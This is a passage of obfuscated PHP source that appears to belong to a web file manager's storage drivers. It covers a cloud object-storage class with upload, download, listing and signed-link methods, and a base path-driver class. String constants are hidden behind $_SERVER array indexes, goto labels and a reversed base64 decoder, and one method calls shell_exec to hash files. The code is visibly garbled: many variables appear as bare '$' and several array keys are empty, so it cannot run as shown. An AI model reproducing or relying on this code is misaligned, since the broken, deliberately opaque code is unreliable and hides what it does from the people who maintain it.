. $), $[33] => $[199], $[76] => isset($[$[76]]) ? $[$[76]] : 0, $[174] => $this->ext($)); if ($ɱ) { return $; } $[$[200]] = $[$[85]] = 0; $[$[201]] = $[$[202]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[200]] = intval($[$[1482]]); $[$[85]] = intval($[$[1483]]); $[$[76]] = $[$[76]]; return $; } public function folderInfo($Ѯ, $Ф = false) { $䰽 =& $_SERVER[]; $ = array($䰽[32] => $this->pathThis($Ѯ), $䰽[84] => $this->getPathOuter($䰽[8] . $Ѯ), $䰽[33] => $䰽[75]); if ($Ф) { return $; } $[$䰽[200]] = $[$䰽[85]] = 0; $[$䰽[201]] = $[$䰽[202]] = !0; if (empty($)) { $ = $this->objectMeta($Ѯ); if (!$) { return $; } } $[$䰽[200]] = intval($[$䰽[1482]]); $[$䰽[85]] = intval($[$䰽[1483]]); return $; } private function listObjs($푹, $⢤ = 0, $Ѵ = 1000) { $军ݲ =& $_SERVER[]; $ԍ = array($军ݲ[1484], $军ݲ[1485] . $Ѵ); if ($⢤) { $ԍ[] = $军ݲ[1486] . $⢤; } $ = $this->ussRequest($푹, $军ݲ[230], !1, $ԍ); return !$[$军ݲ[1220]] ? !1 : $[$军ݲ[1210]]; } private function fileList($ڸ, &$ҭ, &$Ǽ, $ = false) { $ٝ =& $_SERVER[]; $鄚 = $ٝ[12]; $伪 = 1000; $ґ = rtrim($ڸ, $ٝ[8]) . $ٝ[8]; while (!0) { check_abort(); $Ͷ = $this->listObjs($ڸ, $鄚, $伪); if (!$Ͷ) { return !1; } $鄚 = isset($Ͷ[$ٝ[1487]]) ? $Ͷ[$ٝ[1487]] : $ٝ[12]; $ = isset($Ͷ[$ٝ[1488]]) ? $Ͷ[$ٝ[1488]] : array(); foreach ($ as $ӷ) { $Ԧ = $ӷ[$ٝ[33]] == $ٝ[75] ? !0 : !1; $ = ltrim($ґ . $ӷ[$ٝ[32]], $ٝ[8]) . ($Ԧ ? $ٝ[8] : $ٝ[12]); $ﳣ = array($ٝ[32] => $, $ٝ[33] => $Ԧ ? $ٝ[75] : $ٝ[199], $ٝ[76] => $ӷ[$ٝ[337]], $ٝ[1483] => $ӷ[$ٝ[1489]]); $this->cacheMethodInfoSet($, $Ԧ, $ﳣ); if ($Ԧ) { $ҭ[] = $; if ($) { $this->fileList($, $ҭ, $Ǽ, $); } continue; } $Ǽ[] = $ﳣ; } if (count($) < $伪) { break; } } $this->cacheMethodInfoSet($ڸ, !0); } public function listPath($, $˾̀ = false) { $ԋ =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $); foreach ($ as $ => $̰) { $[$] = $this->folderInfo($̰, $˾̀); } foreach ($ as $ => $̰) { $[$] = $this->fileInfo($̰[$ԋ[32]], $˾̀, $̰); } return array($ԋ[82] => $, $ԋ[83] => $); } public function has($ɗ, $̟ = false, $ = true) { $ =& $_SERVER[]; $ = $[12]; $懓 = 500; $ЫLJ = 0; $ѧ = 0; $ = rtrim($ɗ, $[8]) . $[8]; while (!0) { check_abort(); $ЌոԦ = $this->listObjs($ɗ, $, $懓); if (!$ЌոԦ) { return !1; } $ = isset($ЌոԦ[$[1487]]) ? $ЌոԦ[$[1487]] : $[12]; $ڗ = isset($ЌոԦ[$[1488]]) ? $ЌոԦ[$[1488]] : array(); if (empty($ڗ)) { break; } $ = array_filter($ڗ, function ($졳) { $ۚ =& $_SERVER[]; return $졳[$ۚ[33]] == $ۚ[75]; }); $Ğ = count($ڗ); $ = count($); $ = $Ğ - $; if ($̟) { $ѧ += $; $ЫLJ += $; if ($Ğ < $懓) { break; } continue; } if ($) { if ($) { return !0; } } else { if ($) { return !0; } } if ($Ğ < $懓) { break; } } if ($̟) { return array($[207] => $ЫLJ, $[208] => $ѧ); } return !1; } public function listAll($ԍ) { $ =& $_SERVER[]; $ϭ = $ƚ = array(); $this->fileList($ԍ, $ϭ, $ƚ, !0); $ȸֵ = array(); foreach ($ƚ as $۬) { $ȸֵ[$۬[$[32]]] = $۬[$[76]]; } foreach ($ϭ as $۬) { if (is_string($۬)) { $ȸֵ[$۬] = 0; } } return $this->listAllFiles($ԍ, array_keys($ȸֵ), $ȸֵ); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($좄) { return $this->exist($좄) ? !0 : !1; } public function getContent($ӄ) { return $this->fileSubstr($ӄ, 0, -1); } public function setContent($י, $ č = '') { $Ǚ =& $_SERVER[]; if (!$ č) { $ʰ̰ = $this->ussRequest($י, $Ǚ[226]); return $ʰ̰[$Ǚ[1220]]; } $ޗ = $this->tempFile($this->pathThis($י)); file_put_contents($ޗ, $ č); if ($this->upload($י, $ޗ)) { $this->tempFileRemve($ޗ); return !0; } return !1; } public function fileSubstr($涼, $, $ˢ) { $ =& $_SERVER[]; if (!($ꨁ = $this->link($涼))) { return !1; } $Ѱ = !1; if ($ˢ > 0) { $ϒ = $ + $ˢ - 1; $Ѱ = array($[1450] . $ . $[386] . $ϒ); } $ = url_request($ꨁ, $[230], !1, $Ѱ); return $[$[754]] ? $[$[1210]] : !1; } public function upload($, $, $ = false, $Ѻ = REPEAT_REPLACE) { $ =& $_SERVER[]; $΄И = IO::size($); if ($΄И <= 1024 * 1024 * 200) { $Դ = array($[1490] . $); $⦿ш = $this->ussRequest($, $[228], $Դ); return $⦿ш[$[1220]] ? $this->getPathOuter($) : !1; } $̢ = 1024 * 1024 * 10; $ = array($[1491], $[1492] . $΄И, $[1493], $[1494] . $̢); $⦿ш = $this->ussRequest($, $[228], !1, $); if (!$⦿ш[$[1220]]) { return !1; } $ǀ = $⦿ш[$[1210]]; $ = 0; $ = $ǀ[$[1495]]; $з = fopen($, $[1398]); if (!$з) { return !1; } do { $ߺ = $ǀ[$[1496]]; fseek_64($з, $); $딪 = fread($з, $ߺ); $ͯ = 0; do { $ͯ++; $ǀ = $this->uploadPart($, $ǀ, $딪); } while (!$ǀ && $ͯ < 3); if (!$ǀ) { return !1; } $ = $ǀ[$[1495]]; $ += $ߺ; } while ($ != -1); fclose($з); $ = array($[1497], $[1498] . $ǀ[$[1499]], $[1493]); $⦿ш = $this->ussRequest($, $[228], !1, $); return $⦿ш[$[1220]] ? $this->getPathOuter($) : !1; } private function uploadPart($ӷۖ, $¨Ǵ, &$) { $ =& $_SERVER[]; $郼 = array($[1500], $[1498] . $¨Ǵ[$[1499]], $[1501] . $¨Ǵ[$[1495]], $[142] . $¨Ǵ[$[1496]]); $֍ = $this->ussRequest($ӷۖ, $[228], $, $郼); return !$֍[$[1220]] ? $֍[$[1220]] : $֍[$[1210]]; } public function uploadFormData($, $ = 3600) { return $this->uploadPolicy($, $); } public function multiUploadFormData($ʻ, $И = 3600) { $³ =& $_SERVER[]; $ׯ = (int) $GLOBALS[$³[7]][$³[76]]; return $this->uploadPolicy($ʻ, $И, $ׯ); } private function uploadPolicy($窪, $ح = 3600, $Ǝ = 0) { $ʼ =& $_SERVER[]; $ں = $ʼ[8] . $this->bucket; $կ = gmdate($ʼ[1435]); $ڎ = array($ʼ[1502] => $this->bucket, $ʼ[1503] => $窪, $ʼ[1504] => time() + $ح, $ʼ[1505] => $կ); if ($Ǝ) { $ڎ[$ʼ[1415]] = $Ǝ; } $딝 = base64_encode(json_encode($ڎ)); $Ւޣ = base64_encode(hash_hmac($ʼ[1472], "\x50\117\x53\x54\x26{$ں}\46{$կ}\46{$딝}", md5("{$this->userpass}"), !0)); $ = array($ʼ[1338] => $딝, $ʼ[1506] => "\x55\x50\131\x55\116\x20{$this->username}\72{$Ւޣ}", $ʼ[181] => $this->endpoint . $ں); return $; } public function download($, $Ӟ) { $ = IO::getPathInner(IO::mkfile($Ӟ)); if (!($ = $this->link($))) { return !1; } $ = 0; $Ύή = 1024 * 200; $Ȼ = fopen($, $_SERVER[][1456]); while (!0) { $ʱ = $this->fileSubstr($, $, $Ύή); if ($ʱ === !1) { return !1; } fwrite($Ȼ, $ʱ); $ += $Ύή; if (strlen($ʱ) < $Ύή) { break; } } fclose($Ȼ); return $Ӟ; } public function link($, $ஞ = array()) { $ =& $_SERVER[]; $ = trim($, $[8]); if (!empty($this->token)) { $͈ = strtotime(date($[1507])); $ = substr(md5($this->token . $[284] . $͈ . $[1508] . $), 12, 8) . $͈; $ஞ[] = $[1509] . $; } $٠ = !empty($ஞ) ? $[73] . implode($[284], $ஞ) : $[12]; return $this->getHost() . $[8] . $ . $٠; } public function fileOut($, $ = false, $ = false, $Ӵ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $Ӵ); } if (!$) { $ = $this->pathThis($); } $ = $ ? array($_SERVER[][1510] . rawurlencode($)) : array(); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ѥƔ = false, $Ɖ = false, $ۚ = '') { parent::fileOut($, $ѥƔ, $Ɖ, $ۚ); } public function fileOutImage($뮖, $ꘝ = 250) { $Þ = $this->link($뮖 . $_SERVER[][1511] . $ꘝ); $this->fileOutLink($Þ); } public function fileOutImageServer($羅, $ = 250) { parent::fileOutImage($羅, $); } public function hashMd5($ֶ) { $׳ =& $_SERVER[]; $՞ = $this->_objectMeta($ֶ); return isset($՞[$׳[212]]) ? $՞[$׳[212]] : !1; } public function size($̳) { $ż = $this->objectMeta($̳); return $ż ? $ż[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($♲) { return !$this->isFolder($♲) && $this->objectMeta($♲); } public function isFolder($Ʋ) { return $this->cacheMethod($_SERVER[][165], $Ʋ); } protected function objectMeta($ӱÑ) { return $this->cacheMethod($_SERVER[][167], $ӱÑ); } protected function _objectMeta($Ϭʂ) { $ =& $_SERVER[]; if ($Ϭʂ == $[12] || $Ϭʂ == $[8]) { return array(); } $֡ = $this->ussRequest($Ϭʂ, $[1512]); if (!$֡[$[1220]]) { return null; } $ = isset($֡[$[1210]]) ? $֡[$[1210]] : array(); if (!isset($[$[1513]])) { return null; } $Ś = array($[33] => isset($[$[1513]]) ? $[$[1513]] : null, $[76] => isset($[$[1514]]) ? $[$[1514]] : null, $[212] => isset($[$[1515]]) ? $[$[1515]] : null, $[1482] => isset($[$[1516]]) ? $[$[1516]] : null); $Ś[$[1483]] = isset($[$[1517]]) ? strtotime($[$[1517]]) : $Ś[$[1482]]; return $Ś; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$[33]]) && $[$[33]] == $[75] ? !0 : !1; } } goto Cɶij; F䊌: $fileSize = strrev(base64_decode($_SERVER[ۦ][0])); function binCheckNeq($, $) { return $ != $; } $_SERVER[$_SERVER[ۦ][1]] = $fileSize($_SERVER[$_SERVER[ۦ][2]]); goto a훺; dè: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ʚЂ =& $_SERVER[]; $this->objectDriver = array($ʚЂ[60], $ʚЂ[61], $ʚЂ[62], $ʚЂ[63], $ʚЂ[64], $ʚЂ[65], $ʚЂ[66], $ʚЂ[67], $ʚЂ[68]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($٥) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($٥, $_SERVER[][8]); } return $٥; } public function iconvApp($߈) { return $߈; } public function iconvSystem($) { return $; } public function iconvTo($ȹ, $, $) { $ =& $_SERVER[]; if (!$ȹ || !function_exists($[69])) { return $ȹ; } static $֠ = array(); $Ϥ = $ . $[70] . $ . $[71] . $ȹ; if (isset($֠[$Ϥ])) { return $֠[$Ϥ]; } if (function_exists($[72])) { $Ř = @mb_convert_encoding($ȹ, $, $); } else { $Ř = @iconv($, $, $ȹ); } $Ř = $Ř ? $Ř : $ȹ; if (strstr($Ř, $[73])) { $Ř = str_replace($[73], $[11], $Ř); } $֠[$ . $[70] . $ . $[71] . $ȹ] = $Ř; $֠[$ . $[70] . $ . $[71] . $ȹ] = $ȹ; $֠[$ . $[70] . $ . $[71] . $Ř] = $ȹ; $֠[$ . $[70] . $ . $[71] . $Ř] = $Ř; return $Ř; } public function getPathInner($͕) { $ˡ = IO::init($͕); return $ˡ->path; } public function getPathOuter($շ) { $Ĵ =& $_SERVER[]; $ = strlen(trim($this->pathBase, $Ĵ[8])); $շ = substr(trim($շ, $Ĵ[8]), $); return $this->pathDriver . $Ĵ[8] . ltrim($շ, $Ĵ[8]); } public function isParentOf($, $) { $˲ԕ =& $_SERVER[]; $ = rtrim(strtolower($), $˲ԕ[8]) . $˲ԕ[8]; $ = rtrim(strtolower($), $˲ԕ[8]) . $˲ԕ[8]; $́ = strpos($, $) === 0; return $́; } public function getType() { $ض =& $_SERVER[]; $ڔ = str_replace($ض[74], $ض[12], get_class($this)); return strtolower($ڔ); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($ޥ, $) { $ǜ =& $_SERVER[]; $۳ = rtrim($ޥ, $ǜ[8]) . $ǜ[8] . $; $ڸ = $this->exist($۳); return $ڸ ? $۳ : !1; } public function setModifyTime($ͮږ, $҉ = '') { } public function renameObject($̵ׁ, $є) { $ = $є; $̵ׁ = $this->getPathOuter($̵ׁ); $є = $this->pathFather($̵ׁ) . $є; $ʕ = IO::copy($̵ׁ, $this->pathFather($̵ׁ), REPEAT_RENAME_FOLDER, $); if ($ʕ) { IO::remove($̵ׁ); } return $ʕ ? $є : !1; } public function tempFile($ϯ = '', $ݨ = '') { if (!$ϯ) { $ϯ = rand_string(15); } $ɳ = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($ɳ, DEFAULT_PERRMISSIONS, !0); $ = $ɳ . $ϯ; @touch($); if ($ݨ) { file_put_contents($, $ݨ); } return $; } public function tempFileRemve($Ɋ) { @unlink($Ɋ); @rmdir($this->pathFather($Ɋ)); } public function mkfile($Ҳ, $ = '', $˪ո = REPEAT_RENAME) { } public function mkdir($֯, $¥ = REPEAT_SKIP) { } public function delFile($ӑ) { } public function delFolder($) { } public function copyFile($, $Ĭ) { } public function moveFile($Սؐ, $ƔӞ) { } public function remove($Μ) { if ($this->isFile($Μ)) { return $this->delFile($Μ); } return $this->delFolder($Μ); } public function rename($, $ē) { } public function exist($Т) { } public function findByHash($Ϗ = '', $ = '') { return !1; } public function isFile($) { } public function isFolder($) { } public function size($Џ矎) { } public function info($) { } public function infoSimple($) { return $this->info($); } public function infoAuth($ܬ) { return $this->info($ܬ); } public function infoFull($) { return $this->info($); } public function infoWithChildren($Ԯ) { $ =& $_SERVER[]; static $ے⫮ = array(); if (isset($ے⫮[$Ԯ])) { return $ے⫮[$Ԯ]; } $ = $this->info($Ԯ); if ($ && $[$[33]] == $[75]) { $ = array($[76] => 0, $[77] => 0, $[78] => 0); $this->infoChildren($Ԯ, $); $[$[76]] = $[$[76]]; $[$[79]] = array($[80] => $[$[77]], $[81] => $[$[78]]); $ے⫮[$Ԯ] = $; } return $; } public function listPath($, $𧣻 = false) { } public function has($Ԉ, $ = false, $Ɠ = false) { } public function canRead($) { } public function canWrite($Ж) { } public function getContent($ƚ) { } public function setContent($Ƴڠ, $ĝ = '') { } protected function infoChildren($, &$) { $ɺ =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($, !0); $ = array_merge($[$ɺ[82]], $[$ɺ[83]]); foreach ($ as $ڙ) { if ($ڙ[$ɺ[33]] == $ɺ[75]) { $[$ɺ[78]]++; $ = $this->getPathInner($ڙ[$ɺ[84]]); $this->infoChildren($, $); } else { $[$ɺ[77]]++; $[$ɺ[76]] += $ڙ[$ɺ[76]]; } } } public function fileSubstr($Ϥʿ, $͞, $) { } public function listAll($) { } public function listAllMake($, &$ܷ) { $ў =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($, !0); if (!$) { return; } $ = array_merge($[$ў[82]], $[$ў[83]]); foreach ($ as $) { $ľ = $[$ў[33]] == $ў[75]; $ = array($ў[84] => $[$ў[84]], $ў[75] => $ľ); if (isset($[$ў[76]])) { $[$ў[76]] = $[$ў[76]]; } if (isset($[$ў[85]])) { $[$ў[85]] = $[$ў[85]]; } if (!$ľ) { $ܷ[] = $; continue; } $ܷ[] = $; $Ý = $[$ў[84]]; $ = $this->pathDriver; if (substr($[$ў[84]], 0, strlen($)) == $) { $Ý = substr($Ý, strlen($)); } $this->listAllMake($Ý, $ܷ); } } public function listAllSimple($ǜ) { $뱧 =& $_SERVER[]; $ = array(); $Ԧ = $this->listAll($ǜ); $ = $this->getPathOuter($ǜ); foreach ($Ԧ as $ʘ) { $ = $ʘ[$뱧[84]]; $ɏ = $ʘ[$뱧[84]]; if (isset($ʘ[$뱧[86]])) { $ = $ʘ[$뱧[86]][$뱧[84]]; $ʘ[$뱧[76]] = $ʘ[$뱧[86]][$뱧[76]]; $ʘ[$뱧[85]] = $ʘ[$뱧[86]][$뱧[85]]; } else { $ɏ = substr($ʘ[$뱧[84]], strlen(get_path_father($))); $ɏ = $뱧[8] . ltrim($ɏ, $뱧[8]); } $əҬ = array($뱧[84] => $ɏ, $뱧[75] => $ʘ[$뱧[75]]); if (isset($ʘ[$뱧[76]]) && !$ʘ[$뱧[75]]) { $əҬ[$뱧[76]] = $ʘ[$뱧[76]]; } if (isset($ʘ[$뱧[85]])) { $əҬ[$뱧[85]] = $ʘ[$뱧[85]]; } if (!$ʘ[$뱧[75]]) { $əҬ[$뱧[87]] = $; } $[] = $əҬ; } return $; } public function upload($, $˩, $ւ = false, $եĹ = REPEAT_REPLACE) { } public function uploadFileByID($, $, $) { } public function uploadFileByPath($, $, $Ĉ = array()) { } public function isUploadServer() { $ =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $[88]) { return !0; } return $GLOBALS[$[6]][$[89]][$[90]]; } public function isFileOutServer() { $͋ =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $͋[88]) { return !0; } return $GLOBALS[$͋[6]][$͋[89]][$͋[91]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($Ⰹ) { $呐 =& $_SERVER[]; if (!$this->isCdnHost()) { return $Ⰹ; } return str_replace(trim(get_url_root($Ⰹ), $呐[8]), trim($this->cdnHost, $呐[8]), $Ⰹ); } public function uploadLink($Ǔ, $ = 0) { $ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $Ɣ = $this->getType(); if (!in_array($Ɣ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ڋ = 1024 * 1024 * 10; $ = $ <= $ڋ ? $[92] : $[93]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $Ӽ = $this->{$}($Ǔ, $); if ($Ӽ) { $Ӽ[$[94]] = $Ǔ; $Ӽ[$[95]] = $Ɣ; } return $Ӽ; } public function uploadFormData($ʌآ, $ݍɘ = 3600) { } public function multiUploadFormData($, $ = 3600) { } public function download($Ԗ, $) { } public function ext($) { $ =& $_SERVER[]; if (strpos($, $[8]) === -1) { $ = $; } else { $ = $this->pathThis($); } $ӿ = $[12]; if (strstr($, $[10])) { $ӿ = substr($, strrpos($, $[10]) + 1); $ӿ = strtolower($ӿ); } if (strlen($ӿ) > 3 && preg_match($[96], $ӿ, $ޢ)) { $ӿ = $[12]; } return $ӿ; } public function pathThis($ʼ) { $ =& $_SERVER[]; $ʼ = str_replace($[97], $[8], rtrim($ʼ, $[8])); $ѓ = strrpos($ʼ, $[8]); if ($ѓ === !1) { return $ʼ; } return substr($ʼ, $ѓ + 1); } public function pathFather($Ч) { $Ȏ =& $_SERVER[]; $Ч = str_replace($Ȏ[97], $Ȏ[8], rtrim($Ч, $Ȏ[8])); $β = strrpos($Ч, $Ȏ[8]); if ($β === !1) { return $Ȏ[12]; } return substr($Ч, 0, $β + 1); } public function hashSimple($) { $썉 =& $_SERVER[]; if (!$) { return md5($썉[12]); } $߉ = $this->size($); $̂ = 200; $ׇ = 50; if ($߉ <= $̂ * $ׇ) { return $this->hashMd5($) . $߉; } $䯺 = intval($߉ / $ׇ); $ = $썉[12]; for ($У = 0; $У < $ׇ; $У++) { $ .= $this->fileSubstr($, $䯺 * $У, $̂); } $ .= $this->fileSubstr($, $߉ - $̂, $̂); return md5($) . $߉; } public static $md5Cache = array(); public function hashMd5($ٞ) { if (!$ٞ) { return md5($_SERVER[][12]); } $ٞ = $this->iconvSystem($ٞ); if (isset(self::$md5Cache[$ٞ])) { return self::$md5Cache[$ٞ]; } self::$md5Cache[$ٞ] = $this->hashMd5Shell($ٞ); if (!self::$md5Cache[$ٞ]) { self::$md5Cache[$ٞ] = @md5_file($ٞ); } return self::$md5Cache[$ٞ]; } private function hashMd5Shell($ϙ) { $ӊ =& $_SERVER[]; if (!$ϙ) { return md5($ӊ[12]); } if (!function_exists($ӊ[98])) { return !1; } $ƺ = array($ӊ[99], $ӊ[100]); $ = Cache::get($ӊ[101]); if (!$) { $ = BASIC_PATH . $ӊ[102]; $Ȃ = md5_file($); $ = $ӊ[103]; foreach ($ƺ as $) { $ = shell_exec($ . "\40\42{$}\42"); if ($ && substr(trim($), 0, 32) == $Ȃ) { $ = $; break; } } Cache::set($ӊ[101], $, 3600); } if ($ == $ӊ[103]) { return !1; } $ = shell_exec($ . "\40\x22{$ϙ}\42"); $ = str_replace($ӊ[104], $ӊ[12], $); return substr($, 0, 32); } public function link($) { return $; } public function fileOut($ڗ, $ = false, $ = false, $ݸŤ = '') { $ٍ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$ڗ || !$this->exist($ڗ)) { show_json(LNG($ٍ[105]), !1, $); } $ۙ = $this->getType() == $ٍ[106]; $ = $GLOBALS[$ٍ[6]][$ٍ[89]][$ٍ[107]][$ٍ[108]]; $ = (double) $GLOBALS[$ٍ[6]][$ٍ[89]][$ٍ[107]][$ٍ[109]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($ڗ); $´ = $[$ٍ[76]]; $ԡ = gmdate($ٍ[110], $[$ٍ[85]]); $ = $ ? $ : $this->iconvApp($[$ٍ[32]]); $؊ = 0; $ʻ = $´ - 1; $㊻ = $this->ext($); if (in_array($㊻, array($ٍ[111], $ٍ[112], $ٍ[113], $ٍ[114]))) { $㊻ = $ٍ[115]; } if (in_array($㊻, array($ٍ[116]))) { $㊻ = $ٍ[117]; } if (!$ݸŤ) { $ݸŤ = md5($ԡ . $this->hashSimple($ڗ)); } $ݸŤ = $ٍ[118] . $ݸŤ . $ٍ[118]; $Ɗ = get_file_mime($㊻); $ = !0; $ = isset($_GET[$ٍ[119]]) ? !1 : !0; if ($ === !1 && !mime_support($Ɗ)) { $Ɗ = $ٍ[120]; } header($ٍ[121]); header($ٍ[122] . $Ɗ); $ = rawurlencode($); $ = $ٍ[118] . $ . $ٍ[123] . $; if ($) { header($ٍ[124]); header($ٍ[125] . $); } else { if ($) { header($ٍ[126] . $); } } header($ٍ[127] . gmdate($ٍ[110], time() + 3600 * 24 * 30) . $ٍ[128]); header($ٍ[129]); header($ٍ[130]); header($ٍ[131]); if (isset($_SERVER[$ٍ[132]]) && strtotime($_SERVER[$ٍ[132]]) == $[$ٍ[85]]) { header($ٍ[133], !0, 304); die; } if (isset($_SERVER[$ٍ[134]]) && $_SERVER[$ٍ[134]] == $ݸŤ) { header($ٍ[135] . $ݸŤ, !0, 304); die; } header($ٍ[135] . $ݸŤ); header($ٍ[136] . $ԡ . $ٍ[128]); header($ٍ[137] . $); header($ٍ[138]); header($ٍ[139] . $´); header($ٍ[140]); if (!$ && $㊻ == $ٍ[141]) { if ($´ > 1024 * 1024 * 5) { die; } $ʍ = $this->getContent($ڗ); $ʍ = Html::clearSVG($ʍ); header($ٍ[142] . strlen($ʍ)); echo $ʍ; die; } $ = strtolower($_SERVER[$ٍ[143]]); if ($ۙ && $ && $) { if (strstr($, $ٍ[144])) { header($ٍ[145] . $ڗ); } else { if (strstr($, $ٍ[146])) { header($ٍ[147] . $ڗ); } else { if (strstr($, $ٍ[148])) { header($ٍ[149] . $ڗ); } } } if ($) { header($ٍ[150] . $); } return; } if (isset($_SERVER[$ٍ[151]])) { if (preg_match($ٍ[152], $_SERVER[$ٍ[151]], $䥚)) { $؊ = intval($䥚[1]); $؊ = $؊ <= 0 ? 0 : ($؊ >= $ʻ ? $ʻ : $؊); if (!empty($䥚[2])) { $ط = intval($䥚[2]); $ʻ = $ط < $؊ ? $؊ : ($ط >= $ʻ ? $ʻ : $ط); } } header($ٍ[153]); header("\103\157\x6e\x74\x65\156\164\55\122\x61\x6e\x67\145\x3a\40\x62\171\164\x65\163\x20{$؊}\55{$ʻ}\57" . $´); } else { header($ٍ[154]); } header($ٍ[155]); $ = !0; if ($_SERVER[$ٍ[156]] == $ٍ[157] && $´ > 1204 * 1024 * 1024 * 2) { $ = !1; } if ($) { header($ٍ[158] . ($ʻ - $؊ + 1)); } if ($_SERVER[$ٍ[159]] == $ٍ[160]) { return; } $ֈ = 1024 * 100; $ = 0; if ($) { $ = intval(1000 * 1000 * ($ֈ / $)); } while ($؊ <= $ʻ) { $ƣ = timeFloat(); check_abort(); $ͤʭ = $ʻ - $؊ + 1; if ($ͤʭ <= $ֈ) { $ֈ = $ͤʭ; } echo $this->fileSubstr($ڗ, $؊, $ֈ); $؊ += $ֈ; if ($ֈ == $ͤʭ) { $؊ = $ʻ + 1; } if ($) { $ȼ = intval(1000 * 1000 * (timeFloat() - $ƣ)); $֑Λ = $ - $ȼ; if ($֑Λ > 5) { usleep($֑Λ); } } } } public function fileOutServer($ʾ, $ʴ = false, $ӧ = false, $ڳՙ = '') { $this->fileOut($ʾ, $ʴ, $ӧ, $ڳՙ); } public function fileOutLink($) { header($_SERVER[][161] . $); die; } public function cacheMethod($ͪ, $ɋ, $͖ = null) { $ =& $_SERVER[]; static $ = array(); $ = $ɋ ? ltrim($this->getPathOuter($ɋ), $[8]) : $[12]; $ = $[162] . $ͪ . $[163] . rtrim($, $[8]); if (is_null($ͪ)) { $ = array(); return; } if (is_null($ɋ)) { foreach ($ as $ => $) { if (!strstr($, $[162] . $ͪ . $[164])) { continue; } unset($[$]); } return; } if (!is_null($͖)) { $[$] = $͖; return; } $Ɛ = isset($[$]) ? $[$] : null; if (!is_null($Ɛ)) { return $Ɛ; } $Ɛ = $this->{$ͪ}($ɋ); $[$] = $Ɛ; return $Ɛ; } public function cacheMethodInfoSet($, $ٷɎ, $ɼ = false) { $ =& $_SERVER[]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[165], $, $ٷɎ); $this->cacheMethod($[166], $, $ٷɎ ? !1 : !0); if (is_array($ɼ)) { $this->cacheMethod($[167], $, $ɼ); } } public function fileOutImage($, $ = 250) { $ =& $_SERVER[]; set_timeout(); if (substr($, 0, 4) == $[148]) { $this->fileOutLink($); } $ȕ = $this->info($); $؋ = $ȕ[$[32]]; $Ҝ = !1; if (isset($GLOBALS[$[168]]) && $GLOBALS[$[168]][$[84]] == $ȕ[$[84]]) { $菻 = $GLOBALS[$[168]][$[169]]; if (!$ȕ[$[170]]) { $ȕ[$[170]] = $GLOBALS[$[168]]; } if (isset($菻[$[171]])) { if ($菻[$[171]] <= $ && $菻[$[172]] <= $) { $Ҝ = !0; } } $؋ = $ȕ[$[170]][$[32]]; } if ($ȕ[$[76]] <= 1024 * 50 || $Ҝ || !function_exists($[173]) || $ȕ[$[174]] == $[175]) { return $this->fileOut($, !1, $؋); } if (isset($ȕ[$[170]][$[176]])) { $̮ = $ȕ[$[170]][$[176]]; } else { if (isset($ȕ[$[170]][$[177]])) { $̮ = $ȕ[$[170]][$[177]]; } } if (!$̮) { $̮ = md5("{$ȕ[$[32]]}\137{$ȕ[$[84]]}\137{$ȕ[$[76]]}\137{$}"); } $К = "{$̮}\x5f{$}\x2e\160\x6e\x67"; if (!($ы = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $[178]))) { $ڜ = IO::mkdir(IO_PATH_SYSTEM_TEMP . $[179]); } else { $ڜ = KodIO::make($ы); } if ($ы = IO::fileNameExist($ڜ, $К)) { $դϡ = KodIO::make($ы); return IO::fileOut($դϡ, !1, $؋); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $դϡ = DATA_THUMB . $К; del_file($դϡ); if (!@file_exists($դϡ)) { $ۋ = TEMP_FILES; if (!is_dir($ۋ)) { mk_dir($ۋ); } $ρ = $ۋ . $̮ . $[10] . $ȕ[$[174]]; if (!@file_exists($ρ)) { $ρ = $this->download($, $ρ); } ImageThumb::createThumb($ρ, $դϡ, $, $ * 10); } if (!file_exists($դϡ) || filesize($դϡ) < 100) { return @file_exists($ρ) ? IO::fileOut($ρ) : $this->fileOut($); } if (!($ = IO::move($դϡ, $ڜ))) { return IO::fileOut($դϡ); } del_file($դϡ); IO::fileOut($); } public function fileOutImageServer($, $ѕ = 250) { $this->fileOutImage($, $ѕ); } public function fileNameAuto($, $ǣ, $ԧ = REPEAT_RENAME, $̯ = false) { $ľ =& $_SERVER[]; $ = $ === $ľ[12] ? $ǣ : rtrim($, $ľ[8]) . $ľ[8] . $ǣ; if ($ԧ == REPEAT_REPLACE || !$this->exist($) || $̯ && $ԧ != REPEAT_RENAME_FOLDER) { return $ǣ; } if ($ԧ == REPEAT_SKIP) { return !1; } $鳊 = $ľ[10] . get_path_ext($ǣ); $鳊 = $鳊 == $ľ[10] || $̯ ? $ľ[12] : $鳊; $ꇤ = 1; $𬄗 = substr($ǣ, 0, strlen($ǣ) - strlen($鳊)); $ǎ = $𬄗 . "\50{$ꇤ}\x29{$鳊}"; while ($this->exist(rtrim($, $ľ[8]) . 